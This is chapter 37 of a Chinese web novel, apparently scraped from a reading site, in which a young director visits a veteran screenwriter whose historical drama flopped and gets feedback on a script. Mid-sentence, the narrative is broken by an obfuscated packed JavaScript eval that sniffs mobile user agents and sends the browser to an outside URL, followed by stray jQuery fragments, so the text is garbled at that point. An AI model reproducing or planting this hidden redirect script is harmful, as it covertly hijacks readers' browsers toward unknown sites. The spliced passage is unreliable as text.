37.拜访编剧
作品:《重生导演,但整点薯条》 在被当成胖达围观了好一阵,又顺便收到一堆八卦咨询和圈内签名的委托订单后,方可以总算完成了今年份的亲缘任务。
趁着还有时间,方可以搜索了一下李雪亭的相关信息。
大体情况其实与大舅等人的第一手小道消息基本一致。
甚至比起网络信息,人脉消息里还多出一些人性化的细节,和一些分不清是不是亲戚朋友自己臆断的心理活动。
怎么说呢,那部剧扑得确实有点冤,又没那么冤,很有点生不逢时的意思。
这个项目最早立项的时候其实是十年前。
前文有述(见第十一章),十几年前市面上有过一段时间的古风潮。
那时文化小说领域流行重新解码历史事件、用现代视野剖析历史人物、勇于推翻旧的盖棺论定等等;影视行业自然也不会放过风口,相关的古典小说、民俗传说翻拍一时风行。
在该领域,夏国凭借天朝上国不断代的独特优势,算是世界级单开赛道自领一军的存在。
历史改编作品既能激发起民族自信,又能唤起特殊感官波动,于是文化局特批专项基金扶持,立项、审批,都走绿色通道;演员参演、人员制作方面也容易刷奖项,属于是集体狂欢级别的盛宴。
在政策加持、基因密码和文化复兴的三重Buff下,期间批量性地诞生出一大把历史正剧、历史改编剧、戏说历史的作品,有些直到现在,还在视频网站的经典影视栏目页面高挂。
李雪亭的这个项目立项背景就是这样,但当他们立项的时候,这股风潮已接近盛极而衰。
原本的鼓励政策,因为大量良莠不齐的作品流入市场而在缓慢减少支持力度。审批变得严格,转向基金也逐步收紧,制作投资都被下放给地方台和影视公司独立承办。
但是身处时代洪流中的人本身并不知道,就像你不知道你的基金股票是买在山顶还是右侧。
李雪亭等人当时觉得自己是顺应时代风口的猪,他们看到了历史剧一味歌功颂德的缺憾,看到了戏说剧过于轻浮野史的弊病,矢志要再接再厉,再创辉煌,开风气之先。
电视剧最重要的当然是剧本,李雪亭苦心孤诣,拈断数根须,逐字细究,反复推敲。
一推敲,就敲了三年。
三年啊,黄花菜都凉了。
三年过去,正好赶上经济腾飞,市面上已经是各种一夜暴富和及时行乐的超级玛丽苏杰克苏爽片。
什么霸道总裁爱上我?洒洒水啦!
当时流行的剧大概是:“霸道总裁对我强取豪夺,恳求我毕业后一定要跟公司签二十年长约。二十年?狗都不签!
“我上班开兰博基尼,家里十套拆迁房,还有二十套在收租,每天苦恼用天九翅还是燕窝下饭,白兰地泡特级龙虾够不够味?”[1]
这种剧情,才能让观众老爷们稍一驻足。
在这种人人都相信自己未来充满希望,人人都超前消费的时候,李雪亭在干嘛呢?
他在担忧这种糜烂的风气不可长久,在以古为鉴知兴替。
所以他甚至把稿子又改了改,又改进去了点借古讽今针砭时弊。
稿子出来了,剧也拍完了,开始琢磨播出的部分了。
这时期几大视频网站正高速发展,打出各种优惠活动,疯狂抢夺优质的影视资源,原本旧电视台用户大量流失,年轻一代纷纷用脚投票。
这时候这帮主创又没过脑子,下意识沿着老一套的观念,去投了电视台。
电视台本来就已经朝不保夕,虽然觉得这部拍得不错,但一看就觉得是中老年人专供,吸引不到一点年轻优质客户,时段广告都卖不出价,自然就不太乐意叫价。一推三四,这部所有人呕心沥血制作出来的作品居然差点滞销。
最后勉强卖了出去,但播出后叫好不叫座。
凉凉地播出,凉凉地播完,本儿都没收回来。
电视台也懒得再谈重播和三播权,直接让他们有事烧纸。
也就是今年吧,电视台终于混不下去要拆并,就把台里的影视库存打包卖给一个二三线的小网站。这才让方可以翻到这部戏的网络资源,不至于找盗版资源看剧。
说实话,可能这正版资源还不如盗版,不知道怎么压制的,糊得让她怀疑自己近视度数加深。
糊归糊,但草草看了两集,方可以觉得这部剧确实可惜了。
大舅和袁女士可能说不出太多专业词汇,但是他们作为观众,有天然的欣赏能力。这部戏的演员表演能力非常强,镜头语言朴实中却充满细节,编剧的水平也高得惊人,台词平实隽永。
——是浪漫批的方可以这辈子都写不出来的。
方可以写不出来,不代表她不知道这是好东西。
所以她当场就把任务接了。甚至都没等及回家,直接从记忆力里翻出李雪亭的地址,又问袁淑华要了联系方式。
也不管突兀不突兀,社牛属性大爆发,直接一个电话打过去求指点。
袁淑华阻挠不及,只能眼睁睁看着儿子横冲直撞。
哎呀这死孩子,去别人家拜访好歹提点东西吧!
袁淑华只得忍痛把刚从表舅妈手里薅来的老母鸡借花献佛。
*
李雪亭一家对他们母子俩的突然袭击猝不及防。
但看得出来,他和袁淑华的确是从小一块儿长大的发小。虽然挺多年没怎么接触(方可以视角),但袁淑华进门后招呼都没打,很自然地指挥方可以从玄关里拿出两双备用拖鞋,还指定要那双有粉色小花的给自己。
接着一路畅通无阻,直接提着那只安详的老母鸡进了厨房,还跟李雪亭妻子打了声招呼,说“嫂子我来帮忙”。
李家一家五口人住在一栋独门独栋的两层小别墅。可见即使不曾大富大贵,但曾经也能算是衣食无忧,和袁女士这种要蹭教师职工宿舍的不可同日而语。
房子的装修风格看起来已经有些年头,墙壁角落里有些剥脱,踢脚线也有几块脱胶,客厅吊灯的灯泡被拧松了一半,偌大的客厅,光线就略显昏暗。
李雪亭本人看起来比真实年龄要苍老些,聪明部分绝顶,眉间川字纹,两条八字眉,嘴角有些下撇的苦相。
不过他对待方可以的态度挺温和,笑起来就显得斯文和蔼了。
方可以在电话里已经介绍过自己,没等他起话头,李雪亭就主动说:
“小方是吧,你那部《秘密》我看过,你妈在朋友圈发那会儿,我还吓了一跳,当时看电影的时候只觉得名字眼熟,没想到真是你。”
“让您见笑了。”
“哪里见笑,不要瞎谦虚,拍得很有意思,有风格,有腔调,好久没看到这么舒服的片子了。”
袁淑华在那头帮忙把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770824|174135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老母鸡大卸八块,剩下的留给李雪亭的妻子一个人忙活,自己从厨房洗了盘小番茄出来。
她在路上已经和儿子通过气,知道自己今天的任务就是当助演嘉宾,这会儿马上递过去话茬:
“雪亭哥你别光顾着夸,提提意见,你是专业的,不像我只知道看热闹。”
李雪亭的笑容浅了点,带出些苦涩的意味,摆摆手推辞。
“对呀,李伯伯你不知道,我一个人在夏京人生地不熟,光口音就跟京片子隔开。我在的那小公司也是个草台班子,没个老师指点,跌跌撞撞,侥幸拍出来一部也战战兢兢,都不知道往后该如何。”
“演艺事业是这样的,一部成了,不代表部部能成,有时候确实也说不清成在那里。”李雪亭深有所感,“如临深渊,如履薄冰,莫过于此。”
“就是就是,所以雪亭哥你别跟我见外,你的本事我是知道的,可可也是你看着长大的,你不许藏私。”
拗不过袁淑华和方可以一唱一和,李雪亭只得勉为其难:
“别的都还好,你玩镜头语言已经是独一份的了,用不着我班门弄斧。只是看的时候感觉剧本还是有些单薄了。不光是表露在外头的主线简单,你其实是想铺很多暗示对吧?时代背景是一个,高澄高欢的历史典故你也想融却只浅浅带过了。”
开了头后面就容易了,李雪亭虽然久不从业,却功底深厚,越说思路越流畅:
“最后你是不是想暗示高澄心灵弑父,但是没写下去?结尾你想写一种超越性,但写不下去,就干脆一笔留白。不错,其实这也是一种扬长避短的处理,总好过为赋强说愁。
“台词有点直白了,当然,这部戏本来就有点隐晦,台词日常一点也可以说是避免误解。若非要说,白玉如是读书人家的大小姐,她会更加含蓄复杂,这个人物你塑造得很有风格,其实那个时期也有很多有新潮思想的女性,她们写的回忆录啊小说啊,你们写的时候可以参考参考那些;
“高澄是留学回来的高级人才,他身上你也想赋予一种现代性,但现代性并不意味着说话也要现代,他不大可能那么讲话……啊,我随便说说,小方,你别介意,你这个年纪写出这个本子,已经很不错了。”
他忽然反应过来,意识到自己一口气说了太多,连忙挽尊。
“您别这么说,这是对的。”方可以道,
“片子的编剧您也看到,就两个人,一个是我,另一个我室友。我室友水平还更专业点,至少是我们学校编剧系出身,跟他比,我跟文盲没两样。
“我们俩都觉得本子太薄,可惜能力有限,写不出深的了。尤其是结尾那儿,真就阅历不到,写不出那个意思,也设计不出更好的。”
李雪亭安慰似的笑笑:“你能有感觉,那就至少在对的路上,你们俩都还年轻呢,来日方长,这事儿只能多听多看多经历,急也急不得。
“创作最怕的就是自我感觉良好,觉得曲高和寡,孤芳自赏,一条路走到黑了还自我感觉良好,背离群众的,往往也将为群众所抛弃。”
说到最后,李雪亭神色有些黯然。
显然,他也被他自己归类为曲高和寡,是为群众所抛弃的那一类。
方可以道:“李叔叔,不瞒您说,我来是因为我这才有幸看到您写的《万历1582》[2],这部剧真是太好看,我只可惜相逢甚晚呐。”